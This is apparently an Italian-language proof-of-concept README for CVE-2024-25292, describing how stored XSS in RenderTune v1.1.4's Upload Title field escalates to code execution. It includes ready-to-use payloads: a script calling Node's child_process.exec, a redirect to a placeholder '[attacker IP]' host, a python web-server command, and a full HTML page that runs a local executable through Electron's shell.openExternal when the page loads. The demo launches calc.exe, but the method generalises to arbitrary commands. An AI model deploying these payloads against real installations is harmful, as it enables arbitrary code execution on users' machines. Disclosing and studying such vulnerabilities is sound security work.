
Da XSS a RCE nell'exploit di RenderTune v1.1.4
Una prova di concetto per la vulnerabilità CVE-2024-25292.
Una vulnerabilità di cross-site scripting (XSS) in RenderTune v1.1.4 consente agli attaccanti di eseguire script web arbitrari o HTML tramite un payload appositamente creato iniettato nel parametro Upload Title.
In questo repository sono presenti un'applicazione vulnerabile di esempio e un exploit proof-of-concept (POC) della stessa.
È una vulnerabilità che consente RCE tramite XSS. C'è una parte del titolo vulnerabile a XSS, quindi è una vulnerabilità che abilita RCE tramite la sintassi di NodeJS attraverso la sintassi di XSS.
Passo 1) Conferma che l'XSS si verifica nella parte del titolo ※ In questo momento, l'elemento Upload non verrà registrato a meno che non venga allegata l'immagine
<b>jruru</b>

Passo 2) Pertanto, è configurato per usare XSS per eseguire comandi di sistema NodeJS.
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

※ Quando tenti un attacco usando window.location, vai automaticamente alla pagina che hai impostato ogni volta che esegui l'app.
<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>
Nota: ※ Se vuoi testarlo rapidamente, crea un server sul PC dell'attaccante con il seguente codice.
$ python -m http.server 80
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<!-- Run scripts using on-click properties directly to the tag -->
<a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
// Run script automatically when loading pages
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
